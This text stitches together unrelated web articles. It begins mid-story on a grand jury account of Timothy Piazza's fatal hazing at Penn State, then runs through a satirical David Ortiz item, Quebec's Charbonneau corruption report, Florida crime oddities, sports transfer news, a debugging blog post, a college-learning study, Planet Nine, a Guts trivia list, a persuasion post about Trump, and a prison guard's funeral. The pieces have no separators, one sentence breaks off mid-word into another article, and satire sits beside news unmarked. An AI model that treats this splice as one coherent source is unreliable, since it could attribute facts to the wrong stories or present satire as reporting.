Pledges were forced to take 10-second “pulls” from a bottle of Crowne Rouse vodka, shotgun beers, play a version of beer pong, and play a version of dizzy bat, which involves spinning around “a certain number of times” before drinking alcohol from the bat itself. Pledges were also required to drink from a wine bag and brothers poured beer on them as they moved through the stations.
After the gauntlet, the fraternity held a social with Trilogy, which is widely believed to be the underground re-convention of Delta Delta Delta sorority. Tri-Delt’s national chapter disbanded the organization at Penn State in 2009 for hazing violations.
Multiple Trilogy members told the grand jury alcohol was available at this social and the fraternity did not check IDs to verify if those attending were of legal drinking age. A pledge testified to the grand jury that brothers “walked around the house with wine bags encouraging pledges to drink” and had beer, vodka, and more wine available at the bar.
The presentment reviews surveillance footage in detail, explaining how each pledge went through the gauntlet and they all came back visibly intoxicated. At 10:40 p.m., footage shows fraternity brother Lars Kenyon helping Piazza walk from the area near the basement steps to a couch on the main floor of the fraternity house.
“Jurors saw Piazza staggering, while hunched over, evidently in the ‘care’ at that moment of Beta Brother Kenyon,” the presentment reads.
Less than five minutes later, another brother appeared to encouraged Piazza to stand up. He helped Kenyon walk Piazza through the dining room to the kitchen and then back to the living room, where they physically put him back on the couch.
At 10:45 p.m., Piazza is shown staggering toward the front door of the house without assistance. He could not open the front door, so he turned around and staggered back toward the basement steps, passing fraternity brothers Jerry Coyne and Luke Visser in the process.
Piazza’s falls down the basement steps were outside the frame of surveillance videos, but Detective Scicchitano told the grand jury about the evidence he collected throughout the investigation. Multiple brothers testified that they saw Piazza lying face down at the bottom of the staircase.
Footage later shows four fraternity brothers carrying Piazza’s seemingly-unconscious body back to the couch on the main floor of the fraternity house. They sat near him despite a visible bruise on his abdomen, according to the presentment.
Fraternity brother Greg Rizzo took off Piazza’s shirt and attempted to “administer what appears to be a sternum rub.” He also dumped liquid on Piazza’s face, but he did not appear to respond to any of these actions. Brothers took various measures to prevent Piazza from rolling over.
Brother Kordel Davis entered the video at 11:14 p.m., when he testified he was concerned for Piazza’s life and told the other fraternity brothers that they needed to wake Piazza up and call 911 immediately. Davis also tried to convince Vice President Ed Gilmartin to call 911 at this time, but Gilmartin told Davis he was crazy.
“He screamed at them to get help,” the presentment reads. “In response, at [11:15 p.m.], Jonah Neuman rose from the couch and shoved Davis into the opposite wall.”
Pledge Master Daniel Casey enters the frame at 11:25 p.m. and slaps Piazza in the face three times.
Fraternity brother Greg Rizzo put in a group message at 11:53 p.m., “Also Tim Piazza might actually be a problem. He fell 15 feet down a flight of stairs, hair-first, going to need help.”
By 1 a.m. Friday, brothers in the room watched Piazza “vomit and twitch on the couch.” Fraternity brothers Ryan Foster, Jerry Coyne, and Joseph Ems placed a full backpack on Piazza so he couldn’t roll onto his back if he passed out.
Piazza rolled off the couch and onto the floor at 1:48 a.m., at which time the brothers picked him up and “slammed him onto the couch.” Ems hit Piazza on the abdomen.
Piazza rolled onto the floor again at 2:35 a.m., rolling around for the next 45 minutes or so until he attempted to stand up at 3:22 a.m., while Jerry Coyne can be seen standing nearby.
“The backpack comes off, but Timothy [Piazza] falls backwards and strikes his head off the hardwood floor,” the presentment reads. “Coyne attempts to shake him for a moment, but leaves the room.”
At 3:46 a.m., Piazza is shown on the floor in a fetal position with his knees to his chest. He attempts to stand again but falls face down onto the hardwood floor.
Piazza stands up at 4:59 a.m. and staggers toward the lobby of the Beta Theta Pi house, ultimately falling head-first into an iron railing leading to the second floor and landing on a stone floor. He attempts to reach the front door but falls again before he reaches it.
Fraternity brothers Jonathan Martines and Frederick Steimling came downstairs to get water at 5:15 a.m. and 5:26 a.m., respectively, and both ultimately left Piazza on the floor and stepped over him.
Fellow pledge Qobi Quainoo entered at 6:44 a.m. and apparently took a Snapchat video of Piazza on the floor. Quainoo charged his phone briefly and left the house at 7:12 a.m.
Piazza stands up once again at 7:18 a.m. and staggers toward the entrance to the basement steps. He then disappears from the video frame until approximately 10 a.m., when Daniel Erickson found him unconscious in the basement and he and another fraternity brother carried Piazza back upstairs.
Over the course of the next 42 minutes, footage shows fraternity brothers shaking Piazza, attempting to prop his body up on the couch, covering him with a blanket, wiping his face, and attempting to dress him. No one called 911 during this period.
Between 10:35 a.m. and 10:45 a.m., fraternity brother Ryan McCann used his phone to search the phrases “falling asleep after head injury,” “true or false, a person with a serious head injury or concussion should be kept awake,” cold extremities in drunk person,” and “binge drinking, alcohol, bruising or discoloration, cold feet and cold hands.”
McCann finally called 911 at 10:48 a.m. He did not tell the dispatcher that Piazza fell down the stairs or that the incident occurred the previous night.
Brothers attempted to dress Piazza before paramedics arrived “because they claimed Timothy might look better if he was dressed before medical treatment was rendered.”
“Eventually, Daniel Casey and Brendan Young arrived in the great hall,” the presentment reads. “Brendan Young immediately put his head in his hands and sat down on the adjacent couch.”
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About the Author
Elissa Hill Elissa is a senior public relations major and the managing editor of Onward State. She is from Punxsutawney, PA [insert corny Bill Murray joke here] and considers herself an expert on all things ice cream. Send questions and comments via e-mail ([email protected]) and follow her on Twitter (@ElissaKHill) for more corny jokes.
East Renovation Continues With Approval For Sproul, Geary Halls Penn State’s Board of Trustees approved the next phase of East Halls renovations at its meeting Friday, setting the stage for construction to begin on Sproul and Geary Halls.BOSTON—Speculating there is “a big clubhouse way up at the top of the sky,” Boston Red Sox designated hitter David Ortiz reportedly expressed his curiosity Thursday over what happens to players after they retire. “Is there anything after that, or are you just gone forever?” said the 38-year-old designated hitter, adding that he sincerely hopes retirement “doesn’t hurt too bad.” “Do you get to see all your friends who retired? Man, my best friend Jason Vortex [sic] retired a few whiles ago, and I was really sad, but maybe I can see him again someday. I just hope I’ve been good enough to end up somewhere nice—I don’t want to be in the bad place for players who weren’t good.” After a period of noticeable anxiety, Ortiz then reportedly calmed down and assured himself that players generally only retire when they are “really old and can’t hit the ball anymore.”
AdvertisementA painful chapter in Quebec's history has concluded with the release of a detailed report on how corruption infiltrated every corner of the province's multibillion-dollar public construction industry and seeped from the biker gangs and the mafia into bureaucracy and politics.
Justice France Charbonneau and co-commissioner Renaud Lachance issued their long-awaited report on Tuesday with a 60-recommendation blueprint to finish cleaning up the system. The next chapter in the book on corruption in the province will be written by Premier Philippe Couillard, who promised to act quickly to examine and adopt some of the findings.
"The revelations showed our society went to sleep, our vigilance was dropped," Mr. Couillard said after the report was released. "We were sitting on the fact we had laws more advanced than elsewhere, which was true, but we can see there was need to tighten the rules. This process started a few years ago, it's ongoing, and will continue."
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The Liberal government under Jean Charest called the inquiry in 2011, after resisting repeated demands from the opposition for one. News reports over the years had exposed a system in which public officials accepted gifts from entrepreneurs and engineers in the construction industry and a handful of firms divided up public contracts among themselves. Many of those companies were also linked to political donations at the municipal and provincial level.
The $45-million inquiry lasted for 263 days of hearings and heard from 300 witnesses. Nearly two-thirds of the 60 recommendations would tighten rules for tendering public contracts, including the establishment of a new government body to oversee the process.
Witnesses testified at the hearings that organized crime figures and construction and engineering firms gave public officials lavish gifts – Montreal Canadiens hockey tickets, Caribbean trips, home renovations, yacht sojourns. The report recommended an explicit ban on such gifts for all public servants, elected officials and their political staffers.
A dozen recommendations seek to separate political lobbying and donations from the awarding of contracts, including a ban on political staff in government soliciting political donations. Other recommendations are whistleblower protection and extending the power of the ethics commissioner to oversee cities and other public organizations.
Justice Charbonneau said "a culture of impunity" took over a vast section of Quebec's public tendering in construction in which organized crime, political figures and bureaucrats, political parties, unions and entrepreneurs worked together to skim public funds to illicit ends.
"This inquiry showed there was a real problem in Quebec, and it was a lot more vast and entrenched than we realized," Justice Charbonneau said.
While the report summarized the evidence of alleged misdeeds by some key figures now facing criminal trials, such as former construction magnate Tony Accurso and the former head of Montreal's executive committee Frank Zampino, Justice Charbonneau did not say who the leaders were.
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The report produced an unusual note of discord between Justice Charbonneau and Mr. Lachance, who failed to agree how high the rot rose into the province's political hierarchy.
Justice Charbonneau found construction bosses broke rules to funnel millions to political parties – especially the Quebec Liberals, who have ruled the province much of the past 12 years – in an implicit exchange for construction contracts.
Justice Charbonneau said in the report the provincial parties and businesses "bypassed electoral law on a large scale," including getting around a ban on corporate donations by having employees make contributions and reimbursing them. She said such masked donations were not solicited on individual contracts but for "an ensemble of contracts obtained." She said the link is indirect, but evidence showed companies that received many contracts would be solicited for funds.
Mr. Lachance said he could not reach that conclusion. "Did a donation to a provincial political party allow a business to get a contract? Every business head who testified at the inquiry, including those who were very co-operative and made other serious admissions at the inquiry, answered 'No' to that question, whether it was the Parti Québécois or the Quebec Liberal Party in power," he wrote in the report.
The disagreement highlighted the different backgrounds of the two commissioners. Mr. Lachance, an accountant, needed more direct evidence. Justice Charbonneau, the former prosecutor who built a successful case against biker boss Maurice "Mom" Boucher using a mass of circumstantial evidence, was more prepared to draw inferences.
They did agree on a dozen recommendations to reform political financing, including improved reporting on party finances and the disclosure of the employers of donors.
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Amir Khadir of the left-wing Québec Solidaire party said the report let the Liberals off the hook, and party officials would be "popping champagne corks."
Unions, construction and engineering firms and municipal and provincial governments and political parties of many stripes lined up Tuesday to say they have changed procedures to keep an eye on ethics.
Liberal and PQ governments have instituted anti-corruption measures in recent years, reducing annual political contribution limits to $100 per person, forcing companies bidding on big contracts to get ethics certification from the provincial securities regulator, establishing an anti-corruption inspector-general in Montreal, and making permanent an anti-corruption provincial police squad.
Parti Québécois critic Bernard Drainville accused the Liberal government of cutting resources for the prosecutors' office that is dedicated to fighting corruption. "They've yet to show they are really determined to fight corruption," Mr. Drainville said.This is a very special week in "WTF Florida" history. This is the week that the state has become self aware. Not only did an actual real life political polling firm decided to test the approval rating of "Florida Man" among Florida voters, a man who got arrested while naked shouted at police "I'm famous now." Yes indeed, it is a very meta installment of WTF Florida.
Florida Man Becomes Self Aware
Out in Los Angeles, they like to joke that a dried-up celebrity has become so un-famous that they couldn't even get arrested in that town. Thanks to the media's obsession with Floridians odd shenanigans it's the other way around. You get arrested down here in some odd fashion and you wind up famous. At least in some Andy Warhol-fashion 15 minutes sense. The odd thing is that few criminals in Florida seem to know that when they get arrested for whatever bizarre stunt they've pulled. So props to Antuan Anderson, a 32-year-old of Fort Pierce, for at least being self aware enough to know his arrest would make the media rounds.
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Back on March 11, St. Lucie County Sheriff's Deputies responded to a call informing that a man was shirtless and jumping up and down on a car. A female deputy arrived and Anderson responded by banger on her car, attempting to jump on it, and pulling off a windshield wiper. The officer pulled a gun on him and told him to get down on the ground. He did, but not before taking off his clothes completely. When they tried to detain him he began struggling and yelled, "I’m famous now, look at what I did.”
At that point police weren't even totally aware of all that Anderson had done.
"Investigators found several mailboxes damaged and a stop sign and pole ripped from the ground. A drain grate cover was out of place; garbage cans and bags were strewn about; and a metal fence and fence posts were scattered around," reports Off The Beat. "Officers later were told of additional damage, including a vandalized or damaged light fixture, fence and windshield wipers. Anderson also is accused of denting the roof of a car and ripping away a basketball hoop."
He now faces charges of criminal mischief and resisting and officer with violence. He also had two outstanding warrants. But at least he's now famous enough to be our top WTF Florida story of the week.
The Florida man Twitter account. via Twitter
"Florida Man" Has Relatively Good Approval Ratings in Florida
Of course, one of the big reasons Florida criminals become famous in the first place is the @_FloridaMan, a popular Twitter account that tweets out "Florida Man..." headlines like all those bizarre adventures were conducted by the same person, indeed "the world's worst superhero."
Well, occasionally cheeky political firm Public Policy Polling decided to find out what Florida Man's approval ratings were among real life Floridians. "Do you have a favorable or unfavorable opinion of Florida Man?" they asked.
Turns out 19 percent of Floridians have a favorable opinion of Florida Man, while only 4 percent do not. Seventy-eight percent said they didn't have an opinion. Turns out, however, there was a huge split among the demographics. The pollsters found 47 percent of those between 18 and 29 have a favorable opinion of ol' Florida Man, while only 2 percent disapproved. And 85 percent of those 65 and older said they had no idea who or what he was. Democrats and liberals were also more likely to have heard (and approve) of Florida Man than Republicans and conservatives. Blacks and Hispanics also much higher praise for Florida Man than whites. In fact, 27 percent of African American like Florida Man, compared to just 2 percent who did not.
What's scary is that Florida Man has higher favorability split than our actual Gov. Rick Scott, whose ratings remain underwater.
The busted duo. Palm Beach County Sheriff's Department
Couple Busted for Public Sex Near Playground
What's the old saying? "If the playground is a swingin', please don't try and put your thing in?" Right. Well, in any event Shane Johnson, 38, and Danielle Stager, 26, apparently had not heard that wisdom, or much of any common wisdom at all. The duo was spotted going at it right near a playground full of young children.
Police say the pair was spotted with pants off about 200 feet from a playground in Greenacres last Friday. Children, all between the ages of 8 and 10 years old, told police that they saw what was going down. However, by the time police arrived, Johnson and Stager had moved to a pickup truck. Police found them still going at it with Stager's feet hanging out the front door.
"Shane, we are going to jail," Stager reportedly said. Indeed she was right where they posed for these beautiful mugshots. Though neither had the foresight to know that they would be "famous."The Houston Rockets have offered Chris Bosh a four-year maximum contract, according to ESPN's Chris Broussard. Bosh is currently weighing the offer while waiting on LeBron James and Pat Riley to offer some clarity into the Miami Heat's situation.
Max offer from Houston to Bosh is 4 years, $88 million — Chris Broussard (@Chris_Broussard) July 7, 2014
Bosh's situation is intrinsically tied to James', but the Rockets are hoping they can take advantage of James' uncertainty to swipe Bosh away for more than the Heat are willing to offer. Bosh has said he'd like to take a pay cut to stay in Miami, but he and Dwyane Wade have reportedly been in the dark about James' plans. If James is not going to stay in Miami, the situation becomes much less attractive for both players.
The Rockets are expecting to lose out on top target Carmelo Anthony and are already moving to their second plan to add premier talent alongside James Harden and Dwight Howard. One could argue that Bosh is a better get than Anthony because of how well he fits, both in terms of lineup flexibility next to Howard and considering he's already adjusted well to other stars in the past.
The Heat can trump Houston's offer because they are the only team that can offer Bosh a fifth year, but with a max contract already earmarked for James, a significant sum likely to go to Dwyane Wade and a desperate need to upgrade their surrounding talent, they don't appear interested in matching the Rockets' price. Bosh therefore must decide if he'd rather wait for James or take the Rockets' offer now.By Ollie Irish
Arsenal forward Robin van Persie has revealed that he urged Arsene Wenger to sign Rafael van der Vaart from Real Madrid.
As we all know, Van der Vaart joined Tottenham instead, and he has notched seven goals in 12 games in all competitions for Spurs so far this season.
Van Persie told NUsport: “He (Van der Vaart) is a great footballer, I know the quality he has.
“I would rather have him at Arsenal. I indicated a couple of times that Rafael would be useful for Arsenal but that advice was not followed.
“I regret the fact he was not signed, but it is the right of the club – this is just my opinion.
“Now you can see the result. Spurs were a good team but now they are a top team.”
Thanks for not listening, Arsene. Too kind.Every once in a while I read something along the lines of: “most developers just want to write new features, they don’t want to work with maintenance and bug-fixing”. If that’s true, then most developers are missing out on the fun and benefits of finding and fixing bugs.
Each bug can teach you something
Feedback is one key to developing better products. It’s one of the primary tenets of agile development. Unit testing and iterative development are both techniques to provide feedback faster. With unit testing you get feedback on whether the code works, and with each delivered release you can hear what the customer thinks of the new features. A bug report is another form of feedback on your code.
There can be many different causes of a bug. Some possibilities are: a simple coding mistake (like a nested if-statement where you end up in the wrong branch), or a faulty assumption on your part (maybe the incoming messages don’t always have certain fields present, so you got a null pointer exception), or there is a missing requirement (you should have answered the message in a different way if a given parameter is present), or the customer is using the software in an unanticipated (but correct) way, leading to bugs.
In each of these cases, you can learn something about how to code, about your product, or about the domain it operates in.
For example, when I developed VoIP products at Tilgin, there was a case where we received a faulty message that caused our software to loop indefinitely. The messages contained elements encoded using tag-length-value (TLV) parameters, where the length value was the total length of the element. This way you can skip unused or unknown elements by jumping forward “length” number of bytes. In this case, the length value was zero, so after the skip we pointed to the same element we pointed to before the skip, causing an infinite loop.
Before this bug, my code carefully checked length values for too big values that would cause a read past the end of the message buffer. However, up until then, it had never occurred to me that a length of zero could be just as bad.
Your Own Code Becomes Easier To Debug
When you spend time trouble-shooting problems and fixing bugs, it doesn’t take long until you want to make your own code as easy as possible to debug. It is frustrating not having all available information presented.
One extremely common problem is exceptions that don’t include dynamic information. For example, suppose there is code that expects a value to be in the range 0 – 20. How many times have you seen an exception that just says “Illegal value”? That doesn’t tell you much if you are trying to find a bug. If for instance 21 was received, it should say something like “Illegal value: 21, not in range 0 – 20”.
It helps to include the allowed range, and it definitely helps to include the current value. The current value could be 21, or -128, or 65535. All of those could give you a clue as to what caused it, which you don’t get from a plain “Illegal value”.
Even Steve McConnell breaks this rule in some places in the excellent book Code Complete. For example, in chapter 15 there is an example where an unexpected type of character is detected, but the error message doesn’t include the character in question.
Every time you find and fix a bug, you need to ask yourself: is there anything in my code I should do differently in order to eliminate bugs like this in the future? Is there anything I should be doing to make trouble-shooting this kind of bug easier in the future? This is very fertile ground for improvements.
Both You And the Customer will be Happy
As I mentioned in Why I Love Coding, one of the joys of programming is making something that is useful to other people. You get the same kind of kick out of fixing a bug, but on a different time scale. Delivering new features usually takes a while, but a bug-fix can be done in an hour. Each fixed bug makes you feel you are accomplishing something, and that’s a great feeling.
It’s a bit of a paradox that fixing a bug will make the customer happy. If there wasn’t a bug in the first place, there wouldn’t be a need to fix it, so why should they be happy? However, my experience is that they are happy to receive a bug-fix, especially if it is solved quickly. Everybody knows that there will always be bugs. What matters is that somebody is ready to fix them quickly when they are discovered.
Solving Problems is Fun
Many programmers enjoy solving problems, like mathematical puzzles, programming challenges, Sudoku or crosswords. Even reading murder mysteries feed into this: you look at the clues and try figure out how it happened.
Debugging and fixing bugs is the same. Each bug is a new mystery to figure out. Often your first reaction when seeing a new bug report is: that’s impossible? How could that happen? That’s when you start looking for clues. What do the logs say? Any error reports from the system? What else happened in the system at this time? Was anything changed recently – new software, configuration changes, traffic disturbances? Let the figuring-out begin!
These are four reasons I like debugging and bug-fixing so much. What is your experience?After the Boston Red Sox made possibly the biggest splash of the winter meetings Tuesday in acquiring left-hander Chris Sale from the Chicago White Sox, they put themselves in position to make more moves, and now it appears they're looking to get rid of one of their starting pitchers.
With a logjam in their rotation, the Red Sox are prioritizing the trade of right-hander Clay Buchholz over left-hander Drew Pomeranz, reports WEEI.com's Rob Bradford.
One team interested in Buchholz is the Miami Marlins, sources told SiriusXM's Scott Miller, although his price tag may be too high for the Florida squad.
The 32-year-old is set to earn $13.5 million next season, while the 28-year-old Pomeranz is projected to earn $4.7 million, according to MLB Trade Rumors, so Boston's preference to deal Buchholz over the younger, more affordable Pomeranz is understandable.
PITCHER GS IP W-L ERA WHIP Clay Buchholz 21 139.1 8-10 4.78 1.33 Drew Pomeranz 30 170.2 11-12 3.32 1.18
Buchholz struggled for chunks of time last season, even losing his starting job and pitching out of the bullpen, but did finish the year strong, posting a 2.98 ERA in his final eight starts.An unprecedented study that followed several thousand undergraduates through four years of college found that large numbers didn’t learn the critical thinking, complex reasoning and written communication skills that are widely assumed to be at the core of a college education.
Many of the 2,322 students moved through four years of studying, working, volunteering and socializing without learning how to sift fact from opinion, make a clear written argument or objectively review conflicting reports of a situation or event, according to New York University sociologist Richard Arum, lead author of the study. The students, for example, couldn’t determine the cause of an increase in neighborhood crime or how best to respond without being swayed by emotional testimony and political spin.
Arum, whose book Academically Adrift: Limited Learning on College Campuses (University of Chicago Press) comes out this week, followed traditional-age students from the fall of 2005 to the spring of 2009 and examined testing data and student surveys at a broad range of 24 U.S. colleges and universities, from the highly selective to the less selective.
Forty-five percent of students made no significant improvement in their critical thinking, reasoning or writing skills during the first two years of college, according to the study. And after four years, 36 percent showed no significant gains in these so-called “higher-order” thinking skills.
Combining the hours spent studying and in class, students devoted less than one fifth of their time each week to academic pursuits. By contrast, students spent 51 percent – or 85 hours per week – socializing or in extracurricular activities. And they slept an average of under six hours per night.
“These findings are extremely valuable for those of us deeply concerned about the state of undergraduate learning and student intellectual engagement,” said Brian Casey, president of DePauw University in Indiana and a former top academic official at Harvard and Brown Universities. “They will surely shape discussions about curriculum and campus life for years to come.”
The study marks one of the first times a cohort of undergraduates has been followed over four years to examine whether they’re learning specific skills, and provides a portrait of the complex set of factors – from the quality of secondary school preparation to the academic demands on campus – that determine learning. The study shines a spotlight on the quality of the college education they receive.
Some educators note that a weakened economy and a need to work while in school may be partly responsible for the reduced focus on academics, while others caution against using the study to blame students for not applying themselves.
Howard Gardner, a professor at Harvard’s Graduate School of Education known for his theory of multiple intelligences, said the study underscores the need for higher education to push students harder. “No one concerned with education can be pleased with the findings of this study,” said Gardner. “I think that higher education in general is not demanding enough of students – academics are simply of less importance than they were a generation ago.”
Purdue University students line up to rush a sorority.
But the solution, in Gardner’s view, shouldn’t be to introduce high-stakes tests to measure learning in college because “the cure is likely to be worse than the disease.”
Arum concluded that while students at highly selective schools made more gains than those at less selective schools, there are even greater disparities within institutions.
“In all these 24 colleges and universities, you have pockets of kids that are working hard and learning at very high rates,” Arum said. “There is this variation across colleges, but even greater variation within colleges in how much kids are applying themselves and learning.”
For that reason, Arum added, he hopes his data will encourage colleges and universities to look within for ways to improve teaching and learning.
Arum co-authored the book with Josipa Roksa, an assistant professor of sociology at the University of Virginia. The study, conducted with Esther Cho, a researcher with the Social Science Research Council, found that students of whom more was asked did learn more.
Students who majored in the traditional liberal arts – including the social sciences, humanities, natural sciences and mathematics – showed significantly greater gains over time than other students in critical thinking, complex reasoning and writing skills.
That is welcome news to liberal arts advocates. “We do teach analytical reading and writing,” said Ellen Fitzpatrick, a professor of history at the University of New Hampshire, who has also taught at Harvard and Wellesley.
Students majoring in business, education, social work and communications showed the least gains in learning. However, the authors note that their findings don’t preclude the possibility that such students “are developing subject-specific or occupationally relevant skills.”
Greater gains in liberal-arts subjects are at least partly the result of faculty requiring higher levels of reading and writing, as well as students spending more time studying, the study’s authors found. Students who took courses heavy on both reading (more than 40 pages per week) and writing (more than 20 pages in a semester) showed higher rates of learning.
Students who studied alone made more significant gains in learning than those who study in groups.
“I’m not surprised at the results,” said Stephen Emerson, president of Haverford College in Pennsylvania. “Our very best students don’t study in groups. They might work in groups in lab projects. But when they study, they study by themselves.”
Richard Arum
The study used data from the Collegiate Learning Assessment (CLA), a 90-minute essay-type test that attempts to measure what liberal arts colleges teach and that more than 400 colleges and universities have used since 2002. The test is voluntary and includes real-world problem-solving tasks, like determining the cause of an airplane crash, that require reading and analyzing documents from newspaper articles to government reports.
The study’s authors also found that large numbers of students didn’t enroll in courses requiring substantial work. In a typical semester, one third of students took no courses with more than 40 pages of reading per week. Half didn’t take a single course in which they wrote more than 20 pages over the semester.
The findings show that colleges need to be acutely aware of how instruction relates to the learning of critical-thinking and related skills, said Daniel Bradley, president of Indiana State University and one of 71 college presidents who recently signed a pledge to improve student learning.
“We haven’t spent enough time making sure we are indeed teaching – and students are learning – these skills,” Bradley said.
Christine Walker, a senior at DePauw who is also student body president, said the study does not reflect her own experience: she studies upwards of 30 hours a week and is confident she is learning plenty. The 22-year-old political science major said she and her classmates are juggling multiple non-academic demands, including jobs, to help pay for their education and that in today’s economy, top grades aren’t enough.
If you don’t have a good resume, Walker said, “the fact that you can say, ‘I wrote this really good paper that helped my critical thinking’ is going to be irrelevant.”
Susan Campbell, a psychology professor who is dean of planning and assessment at Middlebury College in Vermont, said the study highlights challenges for busy students, who must attempt to balance academics “with a full slate of co-curricular activities, jobs and other demands on their time.”
“Even when students are willing to work hard academically, as they are at Middlebury, they often complain about the stress of trying to manage these demands and maintain the good grades they expect,” Campbell said.The news that a planet about 10 times more massive than Earth may orbit the sun somewhere beyond Neptune has stirred up incredible excitement among scientists and the general public.
But hold the phone — no planet has been discovered yet. In a video released by NASA, Jim Green, NASA's director of planetary science, cautions that it is still too early to claim that Earth's solar system has nine planets (again).
"The idea of a new planet is certainly an exciting one for me as a planetary scientist, and I think for all of us," Green said in the video. "It is not, however, the detection of a new planet. It's too early to say with certainty that there is a so-called 'Planet X' out there." [The Evidence for Planet Nine in Pictures]
"Planet Nine" is the name scientists have given to a theorized body that, if it exists, lies about 20 times farther from the sun than Neptune does. That places it in the Kuiper Belt, a region of small, icy objects that includes Pluto.
The prediction of Planet Nine's existence came from a paper released on Wednesday (Jan. 20) that shows how the motion of some known bodies in the Kuiper Belt could be explained by the presence of such a massive planet.
But this is far from a direct detection. The prediction is based on solar system models that are built up and improved on using observational data but allow astronomers to look at what might exist beyond what has already been seen.
"The Jan. 20 paper in the Astronomical Journal is fueling our interest in planetary exploration, and fueling a debate that's part of the scientific process," Green said in the video. "It's all about starting the process that could lead to an exciting result."
Astronomers have said that if this planet exists, it should be fairly easy to find with telescopes like the Subaru Telescope in Hawaii, which has been used to find other distant objects in the solar system. A few months of scanning the sky in the region where the new planet is predicted to be might provide direct observational evidence of its existence, astronomers say.
But there is a possibility that Planet Nine doesn't exist and that some other explanation accounts for the motion of objects that astronomers observe in the Kuiper Belt. Whatever the outcome, Green said, the general public will have "a front row seat" for the show.
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Follow Calla Cofield @callacofield. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
Copyright 2016 SPACE.com, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.The White Sox turned their second triple play of the season Wednesday, which made me think about triple plays and how cool they are. Elusive, too. My god, they’re elusive.
I’ve always wanted to see a triple |
and a replica piece of the faux-rock itself, which one contestant described as a kind of rock lamp with a pull string. In 2009, a player successfully auctioned off the artifact for $1449. (He kept the medal, though.)
13. THERE WAS A 2008 REBOOT.
My Family’s Got Guts! was Nickelodeon’s attempt to revitalize the Guts franchise in 2008. Substituting host Ben Lyons for Mike O’Malley and with no British referee in sight, the series took a cue from Family Double Dare and tweaked the format to include parents. Notable for being the channel’s first shot-in-high-definition offering, it only lasted a year.
14. MIKE AND MO GUEST-STARRED ON SANJAY AND CRAIG.
Nickelodeon
Mike O’Malley and Moira Quirk played animated versions of themselves on Nickelodeon’s Sanjay and Craig, a half-hour series about a kid and his pet snake. In the show, the two appear on a road-show version of Guts.
15. THERE WAS A THROWBACK GUTS NIGHT.
Last summer, the Brooklyn Cyclones minor league baseball team took to the field wearing customized jerseys bearing the Guts color scheme. It was part of the franchise’s Guts theme night, which also included a collectible piece of the Aggro Crag and a complimentary pouch of Capri Sun. Unfortunately, they dropped the game to the State College Spikes by a score of 7-6.When a skilled persuader exerts influence on a large group, people will generally react in one of three ways.
20% Will be heavily influenced right away, and be happy about it.
60% Will be mildly influenced, over time, with repetition.
20% Will be unusually angry, comparing the persuader to evil dictators and the like.
Under the Master Wizard Hypothesis, the folks who are the angriest are having a reaction to the persuasion that violates their self-image, throwing them into cognitive dissonance. The 20% who are easily influenced without anger had no skin in the game, in the sense that they had not yet picked sides.
The tells for Cognitive Dissonance are many. Here are some I haven’t before mentioned.
Tell 1: Wow
When a pundit or stranger on the Internet starts a comment with “Wow,” as if shocked by an opinion, that is a tell for cognitive dissonance. That is anger disconnected from reason. People who have reasons for disagreeing offer them right away, because doing so is the strongest counter-argument. “Wow” usually indicates you are feeling persuasion that violates your self-image as a person with smart opinions.
The “wow” tell is a specific example of…
Tell 2: No specific criticism
When you see objections without reasons, as in “That is the dumbest idea of all time” it is a tell for cognitive dissonance. To be fair, some things are legitimately dumb. So this tell is less conclusive than “wow,” as far as I can tell.
Tell 3: So you’re saying…
When someone restates your persuasive and reasonable point as an absurd point in order to refute it, that’s a tell for cognitive dissonance. Look for a wrongly-restated argument that looks so wrong you think it must be intentional. But it is not always intentional. Often it is cognitive dissonance.
Tell 4: Analogy Arguments
Analogies are useful for explaining new ideas the first time. But in the realm of debate, they can only make things worse because analogies are messy and subject to interpretation. Rarely does one rely on an analogy as the main argument when reason and data would do the trick.
The classic example is a Hitler analogy (Godwin’s Law). But any absurd analogy is an equally good tell.
Tell 5: Peering Into the Soul of a Stranger
When you hear someone say they can look into a persuader’s soul and see the evil intent – without the benefit of any actual evidence in the real world – that is almost always cognitive dissonance. That usually takes the form of accusations about sexism, racism, narcissism, and greed. Those are all inner thoughts.
—
You might be saying to yourself that what I call cognitive dissonance is plain old stupidity. I suppose it falls under the wide umbrella of stupidity, but it is a special flavor. Regular stupidity stays with you all the time. But the cognitive dissonance type is only activated when your self-image is violated by a persuasive argument.
With that in mind, consider the reactions to Donald Trump’s plans to secure the borders of the country, which is obviously the job of a president. You can dislike Trump’s stated plan (as I do) but when you see folks compare Trump to famous dictators and evil actors, that is usually a tell for dissonance.
Not convinced?
If you have a friend who opposes a secure border with Mexico, ask that friend for some details of his plan that allows anyone to come in. How’s that plan work? That’s when he might say, “Wow. That’s the sort of question Hitler asked.”
Protecting the United States from foreign threats, both military and economic, is literally the job description of the President. You can hate the wall, and you can hate Trump’s deportation plan (as I do) but it is hard to argue that the president should ignore the office’s primary responsibility of protecting the country from military and economic threats.
I remind you I am not smart enough to know who would be a good president. I think it all depends what kind of surprises the future holds, and I am not psychic.
—
And about Trump’s deportation plan, if Trump is consistent with decades of Trumpness, that is just an opening offer. He doesn’t expect to deport those folks. But a good negotiator doesn’t START by conceding.
Ask yourself which is more likely: 1) An experience business person believes he can deport 11 million illegal immigrants and everything will work out fine, or 2) The most famous negotiator on the planet, who negotiates everything, all the time, is making an opening offer he expects to negotiate away.A corrections officer who was slain while transporting inmates was a hero who spent his career protecting other people, Georgia's top prison official said at the man's funeral.
Hundreds of mourners gathered Saturday in central Georgia to remember Sgt. Curtis Billue, one of two Georgia prison guards killed when two inmates escaped Tuesday from a prison transfer bus.
Law enforcement officers from around the state joined relatives and friends of Billue for his funeral at Wilkinson County High School in McIntyre. Billue was 58.
Members of the Georgia Department of Corrections carry the body of corrections officer Sgt. Curtis Billue out of the Wilkinson County High School gymnasium after funeral services Saturday, June 17
Georgia corrections officers hold hands while praying during funeral services for corrections officer Sgt. Curtis Billue on Saturday, June 17
Billue's casket was draped with an American flag. He was remembered as a military veteran and devoted father of two sons.
'We know he served in many roles, but hero comes to mind. Curtis Billue gave his whole life to protecting and serving others,' Georgia Department of Corrections Commissioner Greg Dozier said, according to The Telegraph newspaper of Macon.
Authorities said Billue and Sgt. Christopher Monica, 42, were overpowered and shot with their own weapons.
Escaped inmates Donnie Rowe and Ricky Dubose were captured Thursday in Tennessee.
Denise Billue kisses her hand (left) before placing it on the casket of her brother Sgt. Curtis Billue (right) during his funeral
A large photograph of corrections officer Sgt. Curtis Billue stands besides flowers during his funeral
Elder Frank Billue says a prayer during the funeral services for his brother Officer Curtis Billue
